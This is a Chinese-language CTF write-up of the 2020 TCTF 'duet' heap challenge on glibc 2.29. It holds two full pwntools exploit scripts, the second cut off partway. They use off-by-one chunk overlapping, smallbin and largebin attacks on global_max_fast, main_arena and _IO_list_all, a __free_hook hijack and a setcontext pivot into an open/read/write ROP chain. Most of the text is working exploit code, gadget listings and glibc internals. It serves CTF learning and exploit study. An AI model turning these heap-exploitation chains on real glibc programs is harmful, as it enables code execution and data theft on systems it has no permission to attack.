2020TCTF/2020Geekpwn部分题解

duet

https://www.anquanke.com/post/id/210160#h2-4

emmmm_writeup

r3kapig_writeup

有且只有一次off-by-one的机会,只有ptr_list只有两个位置,且无法在没有delete的情况下new,只有calloc,且size范围在0x80~0x400之间,libc2.29,只能orw

解法一

思路

这道题的堆风水复杂程度在我做过的glibc题里绝对可以排进前五了,所以还是稍微把过程写的细一点。

先选定一个用来smallbin_attacktarget_size,越小越好,我这里用的是0xa0,因为最小的0x90被程序自身用了。(为什么说越小越好呢,因为我们需要构造的情景是在对应sizetcache未满的情况下将chunk放入smallbin,所以不能直接free,直接free会被放入tcache中,只能用切割剩余的方法来间接放入,比如先申请一个大的size1,然后释放他进入ub,然后在申请一个小的size2,所以ub里剩下的被切割的size1-size2为我们提前设定好用来smallbin_attacktarget_size,然后再申请一个比target_size大的chunk,这时target_sizechunk就会被放入smallbin,因为最后必须申请一个比target_size大的chunk,所以target_size与越小,我们可操纵的size范围就越大。),然后用普通的堆风水将一个0xa0chunk放进smallbin中。

之后用堆风水配合off-by-one,构造出chunk overlapping,这里为了表述简单,把overlapping自己的next_chunkchunk称作主chunk,被自己prev_chunkoverlappingchunk称作从chunk。用主chunk去改从chunksize,然后在从chunk里的中间部位切割出一个0xa0chunk,然后free主chunk,再申请一个0x300chunk0xa0chunk挤入smallbin,且其fdbk正好存有heaplibc的地址,所以我们可以用show从chunk来得到heapbaselibcbase,然后free我们的从chunk(size已被改写且其对应的tcache在开始已布置慢)calloc回来,改写位于其中间的smallbin中的倒数第二个chunkfdbk,进行smallbin_attack攻击global_max_fast

这时候我们的从chunk成为了新的主chunk,那个0xa0chunk成为了新的从chunk,对主chunk进行一系列的free+calloc去改写从chunksizefd,达到向main_arena中写入一个fake_size的效果,然后将从chunksize改为fake_size,并将其free掉,然后再改其fd,再calloc出来,再将主chunk给舍弃掉(因为他的任务已经完成了,现在这个位置要拿去做更重要的事情),再calloc一个fake_sizechunk,这时就会分配到main_arena上,我们得以控制main_arena,进一步控制topchunk去劫持__free_hook,注意calloc里在没进入_int_malloc之前会有一步将topchunksize取出来,但是貌似没进一步检测,所以topchunk的位置必须放一个可读的地址,可先写为目标地址__free_hook-0xb58,这时__free_hook-0xb58处的值还不合法,绕不过后续检测,我们后续需要改其为0x21001

然后观察在__free_hook-0xb68-1的位置有一个0x100可作为fake_size,将其写入对应sizefastbin中,且因为我们需要将用来控制main_arenachunk给成功free(因为一个位置是肯定不够用的),所以需要在其后布置一个next_chunkfake_size,这一点在控制main_arena的情形下配合另一个位置很容易实现。

然后calloc一个0xf0chunk,成功改__free_hook-0xb58处值为0x21001,然后free掉控制main_arenachunk,不断calloc,知道申请到__free_hook。(需要提前在main_arena布置好数据,绕过*(main_arena+0x78) == main_arena+0x60的检测)

至于劫持控制流:

__IO_wfile_sync函数中的gadget配合setcontext

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
0x7ffff7e59462 <__GI__IO_wfile_sync+2>:      push   rbp
0x7ffff7e59463 <__GI__IO_wfile_sync+3>: push rbx
0x7ffff7e59464 <__GI__IO_wfile_sync+4>: mov rbx,rdi
0x7ffff7e59467 <__GI__IO_wfile_sync+7>: sub rsp,0x10
0x7ffff7e5946b <__GI__IO_wfile_sync+11>: mov rax,QWORD PTR [rdi+0xa0]
0x7ffff7e59472 <__GI__IO_wfile_sync+18>: mov rdx,QWORD PTR [rax+0x20]
0x7ffff7e59476 <__GI__IO_wfile_sync+22>: mov rsi,QWORD PTR [rax+0x18]
0x7ffff7e5947a <__GI__IO_wfile_sync+26>: cmp rdx,rsi
0x7ffff7e5947d <__GI__IO_wfile_sync+29>: jbe 0x7ffff7e594ad <__GI__IO_wfile_sync+77>

0x7ffff7e594ad <__GI__IO_wfile_sync+77>: mov rsi,QWORD PTR [rax]
0x7ffff7e594b0 <__GI__IO_wfile_sync+80>: mov rax,QWORD PTR [rax+0x8]
0x7ffff7e594b4 <__GI__IO_wfile_sync+84>: cmp rsi,rax
0x7ffff7e594b7 <__GI__IO_wfile_sync+87>: je 0x7ffff7e59532 <__GI__IO_wfile_sync+210>
0x7ffff7e594b9 <__GI__IO_wfile_sync+89>: sub rsi,rax
0x7ffff7e594bc <__GI__IO_wfile_sync+92>: mov r12,QWORD PTR [rbx+0x98]
0x7ffff7e594c3 <__GI__IO_wfile_sync+99>: sar rsi,0x2
0x7ffff7e594c7 <__GI__IO_wfile_sync+103>: mov rbp,rsi
0x7ffff7e594ca <__GI__IO_wfile_sync+106>: mov rdi,r12
0x7ffff7e594cd <__GI__IO_wfile_sync+109>: call QWORD PTR [r12+0x20]

0x7ffff7e25e35 <setcontext+53>: mov rsp,QWORD PTR [rdx+0xa0]
0x7ffff7e25e43 <setcontext+67>: mov rbp,QWORD PTR [rdx+0x78]
0x7ffff7e25e47 <setcontext+71>: mov r12,QWORD PTR [rdx+0x48]
0x7ffff7e25e4b <setcontext+75>: mov r13,QWORD PTR [rdx+0x50]
0x7ffff7e25e4f <setcontext+79>: mov r14,QWORD PTR [rdx+0x58]
0x7ffff7e25e53 <setcontext+83>: mov r15,QWORD PTR [rdx+0x60]
0x7ffff7e25e57 <setcontext+87>: mov rcx,QWORD PTR [rdx+0xa8]
0x7ffff7e25e5e <setcontext+94>: push rcx
0x7ffff7e25e5f <setcontext+95>: mov rsi,QWORD PTR [rdx+0x70]
0x7ffff7e25e63 <setcontext+99>: mov rdi,QWORD PTR [rdx+0x68]
0x7ffff7e25e67 <setcontext+103>: mov rcx,QWORD PTR [rdx+0x98]
0x7ffff7e25e6e <setcontext+110>: mov r8,QWORD PTR [rdx+0x28]
0x7ffff7e25e72 <setcontext+114>: mov r9,QWORD PTR [rdx+0x30]
0x7ffff7e25e76 <setcontext+118>: mov rdx,QWORD PTR [rdx+0x88]
0x7ffff7e25e7d <setcontext+125>: xor eax,eax
0x7ffff7e25e7f <setcontext+127>: ret

至于找的方法么,有两种:

  1. 1
    2
    ropper --file /path/to/file --nocolor > ./gadget_ropper
    cat ./gadget_ropper | grep 'rdx' | grep ', qword ptr \[rdi' > gadget

    然后打开文本编辑器ctrl+F搜索rdx, qword ptr [rdi,看有无合适的gadget,这种运气好是可以找到的,但是找不到带有条件跳转语句的复杂gadget,找不到的话再逐个看吧。

    这里比较幸运是有两个合适的gadget的:

    image-20200718213756726

    1
    2
    3
    4
    0x7ffff7efbe97 <__libc_cleanup_routine+7>:   mov    rdx,QWORD PTR [rdi+0x8]
    0x7ffff7efbe9b <__libc_cleanup_routine+11>: mov rax,QWORD PTR [rdi]
    0x7ffff7efbe9e <__libc_cleanup_routine+14>: mov rdi,rdx
    0x7ffff7efbea1 <__libc_cleanup_routine+17>: jmp rax
    1
    2
    3
    0x7ffff7f20550 <getkeyserv_handle+576>:      mov    rdx,QWORD PTR [rdi+0x8]
    0x7ffff7f20554 <getkeyserv_handle+580>: mov QWORD PTR [rsp],rax
    0x7ffff7f20558 <getkeyserv_handle+584>: call QWORD PTR [rdx+0x20]

    image-20200718214045370

  2. objdump -d user_file -M intel > gadget,然后打开文本编辑器ctrl+F搜索,QWORD PTR [rdi,看有误合适的gadget,这种方法需要审查的gadget数量较多,但是也还好,建议在第一种方法没找到的情况下再使用,可以找到一些复杂的带有条件跳转语句的gadget_IO_wfile_sync中的这个gadget我就是这么找到的。(文件结构体中含有合适的gadget的概率较大)

image-20200718214409647

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
#coding:utf-8

from pwn import *
import subprocess
import sys,os,string

elf_path = './duet'
remote_libc_path = ''

#P = ELF(elf_path)
context(os='linux',arch='amd64')
#context.terminal = ['terminator','-x','sh','-c']
context.terminal = ['tmux','split','-h']
#context.log_level = 'debug'

local = 1
if local == 1:
p = process(elf_path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote()
#libc = ELF(remote_libc_path)

def debug(cmd):
gdb.attach(p,cmd)
pause()

def one_gadget(filename):
return map(int,subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))

def new(idx,size,content):
p.recvuntil('\x75\x0a\x3a\x20')
p.sendline('1')
p.recvuntil('Instrument: ')
if idx == 1:
p.sendline('\xE7\x90\xB4\x00')
else:
p.sendline('\xE7\x91\x9F\x00')
p.recvuntil('Duration: ')
p.sendline(str(size))
p.recvuntil('Score: ')
p.send(content.ljust(size,'\x00'))

def delete(idx):
p.recvuntil('\x75\x0a\x3a\x20')
p.sendline('2')
p.recvuntil('Instrument: ')
if idx == 1:
p.sendline('\xE7\x90\xB4\x00')
else:
p.sendline('\xE7\x91\x9F\x00')

def show(idx):
p.recvuntil('\x75\x0a\x3a\x20')
p.sendline('3')
p.recvuntil('Instrument: ')
if idx == 1:
p.sendline('\xE7\x90\xB4\x00')
else:
p.sendline('\xE7\x91\x9F\x00')

def magic(size):
p.recvuntil('\x75\x0a\x3a\x20')
p.sendline('5')
p.recvuntil('\x3a\x20')
p.sendline(str(size))

for i in range(6):
new(0,0x90,'\x00')
delete(0)

for i in range(7):
new(0,0x80,'\x00')
delete(0)

for i in range(7):
new(0,0x2e0,'\x00')
delete(0)

for i in range(7):
new(0,0x1f0,'\x00')
delete(0)

for i in range(7):
new(0,0xe0,'\x00')
delete(0)

for i in range(7):
new(0,0x2f0,'\x00')
delete(0)

for i in range(7):
new(0,0x190,'\x00')
delete(0)

for i in range(6):
new(0,0xf0,'\x00')
delete(0)

new(0,0x190,'\x00')
new(1,0x300,'\x00')
delete(1)
delete(0)
new(0,0xf0,'\x00')
delete(0)

new(0,0x190,'\x00')
new(1,0x1f0,'\x00')
delete(0)
new(0,0x100,'\x00')
delete(0)

payload = '\x00'*0xe8+p64(0x21)
payload+= p64(0)+p64(0x21)
payload+= p64(0)+p64(0x21)
payload+= p64(0)+p64(0x21)
payload+= p64(0)+p64(0x21)
payload+= p64(0)+p64(0x21)
payload+= p64(0)+p64(0x21)
new(0,0x1f0,payload)
magic(0xf1)
#---------------------------------------------------------------------------------------
delete(1)
payload = '\x00'*0x1f8+p64(0x301)
new(1,0x240,payload)
delete(1)

payload = (p64(0)+p64(0x21))*(0x300/0x10)
new(1,0x300,payload)
delete(1)

show(0)
p.recv(0x55)
heapbase = u64(p.recv(8))-(0x55555555ea80-0x555555559000)
log.success('heapbase = '+hex(heapbase))
libcbase = u64(p.recv(8))-(0x7ffff7fb4d30-0x7ffff7dd0000)
log.success('libcbase = '+hex(libcbase))
global_max_fast = libcbase+(0x7ffff7fb7600-0x7ffff7dd0000)
log.success('global_max_fast = '+hex(global_max_fast))

delete(0)
payload = '\x00'*0x48+p64(0xa1)+p64(heapbase+(0x55555555ea80-0x555555559000))+p64(global_max_fast-0x10)
new(0,0x2f0,payload)
new(1,0x90,'\x00')
log.success('global_max_fast hijack success')
delete(1)

delete(0)
payload = '\x00'*0x48+p64(0x201)
new(0,0x2f0,payload)
new(1,0x1f0,'\x00')

delete(0)
payload = '\x00'*0x48+p64(0x91)
payload+= (p64(0)+p64(0x21))*(0x2a0/0x10)
new(0,0x2f0,payload)
delete(1)

delete(0)
payload = '\x00'*0x48+p64(0x91)
payload+= p64(0x201)+p64(0x21)
payload+= (p64(0)+p64(0x21))*(0x2a0/0x10-1)
new(0,0x2f0,payload)
new(1,0x80,'\x00') #put 0x201

delete(0)
payload = '\x00'*0x48+p64(0x201)
payload+= (p64(0)+p64(0x21))*(0x2a0/0x10)
new(0,0x2f0,payload)
delete(1)

main_arena = libcbase+(0x7ffff7fb4c40-0x7ffff7dd0000)
delete(0)
payload = '\x00'*0x48+p64(0x201)
payload+= p64(main_arena+0x40)+p64(0)
payload+= (p64(0)+p64(0x21))*(0x2a0/0x10-1)
new(0,0x2f0,payload)

delete(0)
new(1,0x1f0,'\x00')
payload = '\x00'*0x10
payload+= p64(libcbase+libc.sym['__free_hook']-0xb58)+p64(0)
payload+= p64(0)+p64(main_arena+0x60)
payload+= p64(libcbase+libc.sym['__free_hook']-0xb68-1)+p64(0)
payload+= '\x00'*0xd8+p64(0x2f1)
payload+= p64(0)+p64(main_arena+0x160)
new(0,0x1f0,payload)

delete(1)
new(1,0x2e0,'\x00'*0xd0+p64(0)+p64(0x21))

delete(0)
payload = '\x00'*0x10
payload+= p64(libcbase+libc.sym['__free_hook']-0xb58)+p64(0)
payload+= p64(0)+p64(main_arena+0x60) #main_arena+0x60
payload+= p64(libcbase+libc.sym['__free_hook']-0xb68-1)+p64(0)
payload+= '\x00'*0xd0
payload+= p64(0)+p64(0x21)
new(0,0x1f0,payload)

delete(1)
new(1,0xf0,'\x00'*0x9+p64(0x21001))

delete(0)
new(0,0x400,'\x00')
delete(0)
new(0,0x400,'\x00')
delete(0)

target = libcbase+libc.sym['__free_hook']-(0x7ffff7fb75a8-0x7ffff7fb7270)+0x10
__IO_wfile_sync = libcbase+(0x7ffff7e59460-0x7ffff7dd0000)

ret = libcbase+0x2535f
syscall = libcbase+0xcf6c5
rax = libcbase+0x47cf8
rdi = libcbase+0x26542
rsi = libcbase+0x26f9e
rdx = libcbase+0x12bda6
buf = heapbase
flag_addr = target+0x330
rop = p64(rdi)+p64(flag_addr)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(2)+p64(syscall)#open
rop+= p64(rdi)+p64(3)+p64(rsi)+p64(buf+0x300)+p64(rdx)+p64(0x300)+p64(rax)+p64(0)+p64(syscall)#read
rop+= p64(rdi)+p64(1)+p64(rsi)+p64(buf+0x300)+p64(rdx)+p64(0x300)+p64(rax)+p64(1)+p64(syscall)#write

payload = p64(1)+p64(0)
payload+= p64(0)+p64(0xffffffffffffffff)
payload+= p64(target+0xb0)+p64(0)
payload+= p64(libcbase+libc.sym['setcontext']+0x35)+p64(0)
payload+= p64(0)+p64(0)
payload+= p64(0)+p64(0)
payload+= p64(0)+p64(0)
payload+= p64(0)+p64(0)
payload+= p64(0)+p64(0)
payload+= p64(0)+p64(target+0x10)
payload+= p64(target)+p64(0) #0xa0
payload+= p64(0)+p64(0) #0xb0
payload+= (p64(0)+p64(0))*9
payload+= p64(target+0x170)+p64(ret)
payload+= p64(0)*2
payload+= rop
payload = payload.ljust(0x328,'\x00')
payload+= p64(__IO_wfile_sync)
payload+= './flag\x00\x00'
new(0,0x400,payload)

delete(0)

p.interactive()

'''
0x7ffff7e59462 <__GI__IO_wfile_sync+2>: push rbp
0x7ffff7e59463 <__GI__IO_wfile_sync+3>: push rbx
0x7ffff7e59464 <__GI__IO_wfile_sync+4>: mov rbx,rdi
0x7ffff7e59467 <__GI__IO_wfile_sync+7>: sub rsp,0x10
0x7ffff7e5946b <__GI__IO_wfile_sync+11>: mov rax,QWORD PTR [rdi+0xa0]
0x7ffff7e59472 <__GI__IO_wfile_sync+18>: mov rdx,QWORD PTR [rax+0x20]
0x7ffff7e59476 <__GI__IO_wfile_sync+22>: mov rsi,QWORD PTR [rax+0x18]
0x7ffff7e5947a <__GI__IO_wfile_sync+26>: cmp rdx,rsi
0x7ffff7e5947d <__GI__IO_wfile_sync+29>: jbe 0x7ffff7e594ad <__GI__IO_wfile_sync+77>

0x7ffff7e594ad <__GI__IO_wfile_sync+77>: mov rsi,QWORD PTR [rax]
0x7ffff7e594b0 <__GI__IO_wfile_sync+80>: mov rax,QWORD PTR [rax+0x8]
0x7ffff7e594b4 <__GI__IO_wfile_sync+84>: cmp rsi,rax
0x7ffff7e594b7 <__GI__IO_wfile_sync+87>: je 0x7ffff7e59532 <__GI__IO_wfile_sync+210>
0x7ffff7e594b9 <__GI__IO_wfile_sync+89>: sub rsi,rax
0x7ffff7e594bc <__GI__IO_wfile_sync+92>: mov r12,QWORD PTR [rbx+0x98]
0x7ffff7e594c3 <__GI__IO_wfile_sync+99>: sar rsi,0x2
0x7ffff7e594c7 <__GI__IO_wfile_sync+103>: mov rbp,rsi
0x7ffff7e594ca <__GI__IO_wfile_sync+106>: mov rdi,r12
0x7ffff7e594cd <__GI__IO_wfile_sync+109>: call QWORD PTR [r12+0x20]


0x7ffff7e25e35 <setcontext+53>: mov rsp,QWORD PTR [rdx+0xa0]
0x7ffff7e25e43 <setcontext+67>: mov rbp,QWORD PTR [rdx+0x78]
0x7ffff7e25e47 <setcontext+71>: mov r12,QWORD PTR [rdx+0x48]
0x7ffff7e25e4b <setcontext+75>: mov r13,QWORD PTR [rdx+0x50]
0x7ffff7e25e4f <setcontext+79>: mov r14,QWORD PTR [rdx+0x58]
0x7ffff7e25e53 <setcontext+83>: mov r15,QWORD PTR [rdx+0x60]
0x7ffff7e25e57 <setcontext+87>: mov rcx,QWORD PTR [rdx+0xa8]
0x7ffff7e25e5e <setcontext+94>: push rcx
0x7ffff7e25e5f <setcontext+95>: mov rsi,QWORD PTR [rdx+0x70]
0x7ffff7e25e63 <setcontext+99>: mov rdi,QWORD PTR [rdx+0x68]
0x7ffff7e25e67 <setcontext+103>: mov rcx,QWORD PTR [rdx+0x98]
0x7ffff7e25e6e <setcontext+110>: mov r8,QWORD PTR [rdx+0x28]
0x7ffff7e25e72 <setcontext+114>: mov r9,QWORD PTR [rdx+0x30]
0x7ffff7e25e76 <setcontext+118>: mov rdx,QWORD PTR [rdx+0x88]
0x7ffff7e25e7d <setcontext+125>: xor eax,eax
0x7ffff7e25e7f <setcontext+127>: ret
'''

解法二

思路

2.24的_IO_str_finish

1
2
3
4
5
6
7
8
9
void 
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);//函数指针
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

2.29的_IO_str_finish

1
2
3
4
5
6
7
8
void
_IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
free (fp->_IO_buf_base); //函数指针换位了标准还是free
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}

2.23的_IO_str_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); //函数指针
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); //函数指针
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)

2.29的_IO_str_overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
int
_IO_str_overflow (FILE *fp, int c)
{
int flush_only = c == EOF;
size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf = malloc (new_size); //函数指针换为了标准函数malloc
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
free (old_buf);//函数指针换为了标准函数free
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);

_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}

if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
libc_hidden_def (_IO_str_overflow)

所以2.24的那一套利用已经不可行了。

但是比赛时Kirin大佬发现了一种新的可利用点,就是在_IO_str_jumps中存在malloc+memcpy+free

所以可以先用chunk overlapping改一个已经被放进tcahce里的chunkfd__free_hook,然后用largebin_attack的任意地址写堆地址,改_IO_list_all到我们伪造的_IO_FILE上,我们需要伪造两个fake_IO_FILE,第一个负责把__free_hook给放入tcache尾部,第二个负责将其申请出来并将其中的数据改为劫持执行流的gadget

这种方法在堆风水时让我加深了对chunk overlapping的理解,chunk overlapping是具有连环效应的,我自己这里是构造了三组相互覆盖的chunk,最好size是递增的,因为只有两个位置,所以需要将前面的free里才能有位置去申请新的,要是新的比旧的size小的话,就可能出现切割的情况,这是我们不想看到的。

感觉_IO_str_overflow+largebin_attack的方法在程序没有malloc的情况下可以通用,比改global_max_fast要简单一点。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#coding:utf-8

from pwn import *
import subprocess
import sys,os,string

elf_path = './duet'
remote_libc_path = ''

#P = ELF(elf_path)
context(os='linux',arch='amd64')
#context.terminal = ['terminator','-x','sh','-c']
context.terminal = ['tmux','split','-h']
#context.log_level = 'debug'

local = 1
if local == 1:
p = process(elf_path)
if context.arch == 'amd64':
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
p = remote()
#libc = ELF(remote_libc_path)

def debug(cmd):
gdb.attach(p,cmd)
pause()

def one_gadget(filename):
return map(int,subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))

def new(idx,size,content):
p.recvuntil('\x75\x0a\x3a\x20')
p.sendline('1')
p.recvuntil('Instrument: ')
if idx == 1:
p.sendline('\xE7\x90\xB4\x00')
else:
p.sendline('\xE7\x91\x9F\x00')
p.recvuntil('Duration: ')
p.sendline(str(size))
p.recvuntil('Score: ')
p.send(content.ljust(size,'\x00'))

def delete(idx):
p.recvuntil('\x75\x0a\x3a\x20')
p.sendline('2')
p.recvuntil('Instrument: ')
if idx == 1:
p.sendline('\xE7\x90\xB4\x00')
else:
p.sendline('\xE7\x91\x9F\x00')

def show(idx):
p.recvuntil('\x75\x0a\x3a\x20')
p.sendline('3')
p.recvuntil('Instrument: ')
if idx == 1:
p.sendline('\xE7\x90\xB4\x00')
else:
p.sendline('\xE7\x91\x9F\x00')

def magic(size):
p.recvuntil('\x75\x0a\x3a\x20')
p.sendline('5')
p.recvuntil('\x3a\x20')
p.sendline(str(size))

for i in range(7):
new(0,0x88,'\x00')
delete(0)

for i in range(7):
new(0,0xf0,'\x00')
delete(0)

for i in range(7):
new(0,0x1e0,'\x00')
delete(0)

for i in range(7):
new(0,0x1f0,'\x00')
delete(0)

for i in range(7):
new(0,0x220,'\x00')
delete(0)

for i in range(7):
new(0,0x230,'\x00')
delete(0)

for i in range(7):
new(0,0x250,'\x00')
delete(0)

for i in range(7):
new(0,0x3f0,'\x00')
delete(0)

for i in range(6):
new(0,0x400,'\x00')
delete(0)

new(0,0x88,'\x00')
new(1,0xf0,'\x00')
delete(0)
magic(0xf1)
new(0,0x1f0,'\x00'*0xe0+(p64(0)+p64(0x21))*3)
delete(1)
payload = '\x00'*0xf8+p64(0x91)+'\x00'*0x80+(p64(0)+p64(0x21))*3
new(1,0x1e0,payload)
delete(0)
show(1)
p.recv(0x105)
libcbase = u64(p.recv(8))-(0x7ffff7fb4ca0-0x7ffff7dd0000)
log.success('libcbase = '+hex(libcbase))
new(0,0x80,'\x00')
delete(1)
new(1,0x1e0,'\x00'*0xf8+p64(0x231))

delete(1)
new(1,0x230,'\x00'*0x20+(p64(0)+p64(0x21))*3)
delete(0)
new(0,0x3e0,'\x00'*0x10+3*(p64(0)+p64(0x21))+'\x00'*0x170+(p64(0)+p64(0x21))*3)
delete(0)
payload = '\x00'*0xe0+p64(0x1f0)+p64(0x21)+2*(p64(0)+p64(0x21))+'\x00'*0xe8+p64(0x261)
new(0,0x220,payload)

delete(1)
new(1,0x250,'\x00'*0x20+3*(p64(0)+p64(0x21))+'\x00'*0x1b0+3*(p64(0)+p64(0x21))+p64(0)+p64(0x3f1)+p64(libcbase+libc.sym['__free_hook']))
delete(0)
payload = '\x00'*0xe0+p64(0x1f0)+p64(0x21)+2*(p64(0)+p64(0x21))+'\x00'*0xe8+p64(0x401)
new(0,0x220,payload)
delete(1)

new(1,0x400,'\x00')
delete(1)

new(1,0x1e0,'\x00'*0xf8+p64(0x411))

show(0)
p.recv(0x215)
heapbase = u64(p.recv(8))-(0x555555562070-0x555555559000)
log.success('heapbase = '+hex(heapbase))

ret = libcbase+0x2535f
syscall = libcbase+0xcf6c5
rax = libcbase+0x47cf8
rdi = libcbase+0x26542
rsi = libcbase+0x26f9e
rdx = libcbase+0x12bda6
buf = heapbase
flag_addr = heapbase+(0x555555561e30-0x555555559000)
rop = p64(rdi)+p64(flag_addr)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(2)+p64(syscall)#open
rop+= p64(rdi)+p64(3)+p64(rsi)+p64(buf+0x300)+p64(rdx)+p64(0x300)+p64(rax)+p64(0)+p64(syscall)#read
rop+= p64(rdi)+p64(1)+p64(rsi)+p64(buf+0x300)+p64(rdx)+p64(0x300)+p64(rax)+p64(1)+p64(syscall)#write

delete(0)
payload = '\x00'*0xe0+3*(p64(0)+p64(0x21))
payload+= p64(0)*5+p64(0x7fffffffffff)+p64(0)+p64(heapbase+(0x555555561d80-0x555555559000))+p64(0x1be+heapbase+(0x555555561d80-0x555555559000))+p64(0)*4
